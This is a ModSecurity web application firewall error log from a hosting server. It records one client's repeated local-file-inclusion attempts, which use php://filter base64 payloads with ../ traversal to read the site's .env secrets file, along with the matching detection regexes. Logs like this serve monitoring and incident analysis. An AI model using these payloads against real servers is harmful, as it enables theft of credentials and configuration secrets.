[Fri Jul 17 08:55:11.439253 2026] [security2:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 35 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 35, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgl4Zvbo7N5o5zeYC-MQAAABw"]
[Fri Jul 17 08:55:11.443762 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?raw=1&read=php%3A%2F%2Ffilter%2Fconvert.iconv.UCS-2LE.UCS-2BE%2Fconvert.base64-encode%2Fresource%3D..%2F..%2F..%2F.env&debug=VLDbVsgyYHKw6MhYTnNd0UF7TwiRKQfjH6_b5Lf_lTA1A7YVA5x9duMnK2tSghXV5GuqJRB0iwYe8i5-i4sifmHATZMtBhIleeAQ2iAgfZWthdB5t1QRQqTT4BphXzpGSA1SSQ4xYDU_ia_pBKNBvRXEH9EdcJld-Qtl-ziMOUfGSzXPI6O0MvTr1PuCasxt-2D2AMluAGiXM4KlYLrG_-b6sBeQIKlJAb9SPQDIvtdlEhwKMznhg4iK1Kr94-uUI5ueQOFpamiHcUAz3J4-MkfK&ts=HX34C74BONL5Q2HKWTPYX6H2HPR7EM6D25DJIP5AUBPFO..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl0kXT4NBqALj2lZ8hAAAABA"]
[Fri Jul 17 08:55:11.443811 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:read. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:read: php://filter/convert.iconv.UCS-2LE.UCS-2BE/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl0kXT4NBqALj2lZ8hAAAABA"]
[Fri Jul 17 08:55:11.443860 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&read=php://filter/convert.iconv.UCS-2LE.UCS-2BE/convert.base64-encode/resource=../../../.env&debug=VLDbVsgyYHKw6MhYTnNd0UF7TwiRKQfjH6_b5Lf_lTA1A7YVA5x9duMnK2tSghXV5GuqJRB0iwYe8i5-i4sifmHATZMtBhIleeAQ2iAgfZWthdB5t1QRQqTT4BphXzpGSA1SSQ4xYDU_ia_pBKNBvRXEH9EdcJld-Qtl-ziMOUfGSzXPI6O0MvTr1PuCasxt-2D2AMluAGiXM4KlYLrG_-b6sBeQIKlJAb9SPQDIvtdlEhwKMznhg4iK1Kr94-uUI5ueQOFpamiHcUAz3J4-MkfK&ts=HX34C74BONL5Q2HKWTPYX6H2HPR7EM6D25DJIP5AUBPFONPKD5NBQ4E44UHJD7VWSEHGRM5UC..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl0kXT4NBqALj2lZ8hAAAABA"]
[Fri Jul 17 08:55:11.443924 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&read=php://filter/convert.iconv.ucs-2le.ucs-2be/convert.base64-encode/resource=../../../.env&debug=vldbvsgyyhkw6mhytnnd0uf7twirkqfjh6_b5lf_lta1a7yva5x9dumnk2tsghxv5guqjrb0iwye8i5-i4sifmhatzmtbhileeaq2iagfzwthdb5t1qrqqtt4bphxzpgsa1ssq4xydu_ia_pbknbvrxeh9edcjld-qtl-zimoufgszxpi6o0mvtr1pucasxt-2d2amluagixm4klylrg_-b6sbeqikljab9spqdivtdlehwkmznhg4ik1kr94-uui5ueqofpamihcuaz3j4-mkfk&ts=hx34c74bonl5q2hkwtpyx6h2hpr7em6d25djip5aubpfonpkd5nbq4e44uhjd7vwsehgrm5uc..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl0kXT4NBqALj2lZ8hAAAABA"]
[Fri Jul 17 08:55:11.443956 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:read. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:read: php://filter/convert.iconv.UCS-2LE.UCS-2BE/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl0kXT4NBqALj2lZ8hAAAABA"]
[Fri Jul 17 08:55:11.443983 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:read. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:read: php://filter/convert.iconv.ucs-2le.ucs-2be/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl0kXT4NBqALj2lZ8hAAAABA"]
[Fri Jul 17 08:55:11.444378 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)php://(?:std(?:in|out|err)|(?:in|out)put|fd|memory|temp|filter)" at ARGS:read. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "198"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://filter found within ARGS:read: php://filter/convert.iconv.UCS-2LE.UCS-2BE/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl0kXT4NBqALj2lZ8hAAAABA"]
[Fri Jul 17 08:55:11.445540 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 35)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl0kXT4NBqALj2lZ8hAAAABA"]
[Fri Jul 17 08:55:11.445680 2026] [hostinglimits:warn] [pid 2018757:tid 2018757] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018757) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:11.445982 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 35 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 35, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgl0kXT4NBqALj2lZ8hAAAABA"]
[Fri Jul 17 08:55:11.446120 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?raw=1&template=php%3A%2F%2Ffilter%2Fconvert.iconv.utf-8.utf-16le%2Fconvert.base64-encode%2Fresource%3D..%2F..%2F.env&sid=EdDO2Xy58HuksqAidtYVjKUOc7wgqpGzVGXnjJtvZtciFBXJG9t0h0WKM9_ZxpUF4sIZ_vfY1me9eo6rmUN6npu0oUJygTQAAU3vCMacqTx6gKZncoj1mEjUalzcqy2n5ph9_EHiZfZzpTo24k2Kdh7nso663nwP9wUud6SibkSPVH2reWPGNEK72NLXODcdD_e4BbWMg1rchzs33PA7bS0T6DnDc4RmTV4IQen0wV39VWXu0w-k_MwHEgMQ3UIcWlJaeMl0FpPNG8KI8YTzpw43&ts=ONAF3VBRV6456O2E3SVZAWLM34SD62ZA6RTOHMFK4OXACRIEV..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl0gVnBK6wAv37w6sHwAAABQ"]
[Fri Jul 17 08:55:11.446176 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:template. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:template: php://filter/convert.iconv.utf-8.utf-16le/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl0gVnBK6wAv37w6sHwAAABQ"]
[Fri Jul 17 08:55:11.446257 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&template=php://filter/convert.iconv.utf-8.utf-16le/convert.base64-encode/resource=../../.env&sid=EdDO2Xy58HuksqAidtYVjKUOc7wgqpGzVGXnjJtvZtciFBXJG9t0h0WKM9_ZxpUF4sIZ_vfY1me9eo6rmUN6npu0oUJygTQAAU3vCMacqTx6gKZncoj1mEjUalzcqy2n5ph9_EHiZfZzpTo24k2Kdh7nso663nwP9wUud6SibkSPVH2reWPGNEK72NLXODcdD_e4BbWMg1rchzs33PA7bS0T6DnDc4RmTV4IQen0wV39VWXu0w-k_MwHEgMQ3UIcWlJaeMl0FpPNG8KI8YTzpw43&ts=ONAF3VBRV6456O2E3SVZAWLM34SD62ZA6RTOHMFK4OXACRIEVV57Q5TCFBQGERDIWL7D6L5KQHR..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl0gVnBK6wAv37w6sHwAAABQ"]
[Fri Jul 17 08:55:11.446301 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&template=php://filter/convert.iconv.utf-8.utf-16le/convert.base64-encode/resource=../../.env&sid=eddo2xy58huksqaidtyvjkuoc7wgqpgzvgxnjjtvztcifbxjg9t0h0wkm9_zxpuf4siz_vfy1me9eo6rmun6npu0oujygtqaau3vcmacqtx6gkzncoj1mejualzcqy2n5ph9_ehizfzzpto24k2kdh7nso663nwp9wuud6sibkspvh2rewpgnek72nlxodcdd_e4bbwmg1rchzs33pa7bs0t6dndc4rmtv4iqen0wv39vwxu0w-k_mwhegmq3uicwljaeml0fppng8ki8ytzpw43&ts=onaf3vbrv6456o2e3svzawlm34sd62za6rtohmfk4oxacrievv57q5tcfbqgerdiwl7d6l5kqhr..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl0gVnBK6wAv37w6sHwAAABQ"]
[Fri Jul 17 08:55:11.446348 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:template. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:template: php://filter/convert.iconv.utf-8.utf-16le/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl0gVnBK6wAv37w6sHwAAABQ"]
[Fri Jul 17 08:55:11.446390 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:template. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:template: php://filter/convert.iconv.utf-8.utf-16le/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl0gVnBK6wAv37w6sHwAAABQ"]
[Fri Jul 17 08:55:11.446735 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)php://(?:std(?:in|out|err)|(?:in|out)put|fd|memory|temp|filter)" at ARGS:template. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "198"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://filter found within ARGS:template: php://filter/convert.iconv.utf-8.utf-16le/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl0gVnBK6wAv37w6sHwAAABQ"]
[Fri Jul 17 08:55:11.447369 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?raw=1&template=php%3A%2F%2Ffilter%2Fconvert.base64-encode%2Fresource%3D..%2F..%2F.env&cb=wyZ3SNO3QkENkPgU2ZtMFv-fxD52h5BafDJ3wLRcZqx1j9Wk5y6zugWI6uBcOiljKpP08TfvV27xOvrzeg6_14kf0PBGBp69zeHyb8i_KKQY2GAQJjl3pq8rMVo7cTzkiN6E8ZFmNfRbcWJhVXB8q103IiWTCBZv0TkVlrn0EAqBtDQvMLGvsjMMr7ntCYkrzWlD9bA7xZr_VEJX3K8yl5aSs91v6fLJnwuaYN1nkiD1u0VrbW8NDubqLS7QZ3g1ZyThXY3vGGw68GHQ3-s283DM&debug=ILUMNOYA372Q5LLTROOJ5453YSBLYZGIE6WGOOBRPL4KWCNT2MDUM325TUVJIQJUPRVEPBIDD5WDHK..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl4l9vhFBGA6D8l95yAAAAAw"]
[Fri Jul 17 08:55:11.447411 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:template. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:template: php://filter/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl4l9vhFBGA6D8l95yAAAAAw"]
[Fri Jul 17 08:55:11.447460 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&template=php://filter/convert.base64-encode/resource=../../.env&cb=wyZ3SNO3QkENkPgU2ZtMFv-fxD52h5BafDJ3wLRcZqx1j9Wk5y6zugWI6uBcOiljKpP08TfvV27xOvrzeg6_14kf0PBGBp69zeHyb8i_KKQY2GAQJjl3pq8rMVo7cTzkiN6E8ZFmNfRbcWJhVXB8q103IiWTCBZv0TkVlrn0EAqBtDQvMLGvsjMMr7ntCYkrzWlD9bA7xZr_VEJX3K8yl5aSs91v6fLJnwuaYN1nkiD1u0VrbW8NDubqLS7QZ3g1ZyThXY3vGGw68GHQ3-s283DM&debug=ILUMNOYA372Q5LLTROOJ5453YSBLYZGIE6WGOOBRPL4KWCNT2MDUM325TUVJIQJUPRVEPBIDD5WDHKHVNIZZWDQO5GBMOFCI5CTC6R..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl4l9vhFBGA6D8l95yAAAAAw"]
[Fri Jul 17 08:55:11.447496 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&template=php://filter/convert.base64-encode/resource=../../.env&cb=wyz3sno3qkenkpgu2ztmfv-fxd52h5bafdj3wlrczqx1j9wk5y6zugwi6ubcoiljkpp08tfvv27xovrzeg6_14kf0pbgbp69zehyb8i_kkqy2gaqjjl3pq8rmvo7ctzkin6e8zfmnfrbcwjhvxb8q103iiwtcbzv0tkvlrn0eaqbtdqvmlgvsjmmr7ntcykrzwld9ba7xzr_vejx3k8yl5ass91v6fljnwuayn1nkid1u0vrbw8ndubqls7qz3g1zythxy3vggw68ghq3-s283dm&debug=ilumnoya372q5lltrooj5453ysblyzgie6wgoobrpl4kwcnt2mdum325tuvjiqjuprvepbidd5wdhkhvnizzwdqo5gbmofci5ctc6r..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl4l9vhFBGA6D8l95yAAAAAw"]
[Fri Jul 17 08:55:11.447520 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:template. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:template: php://filter/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl4l9vhFBGA6D8l95yAAAAAw"]
[Fri Jul 17 08:55:11.447541 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:template. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:template: php://filter/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl4l9vhFBGA6D8l95yAAAAAw"]
[Fri Jul 17 08:55:11.447767 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 35)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl0gVnBK6wAv37w6sHwAAABQ"]
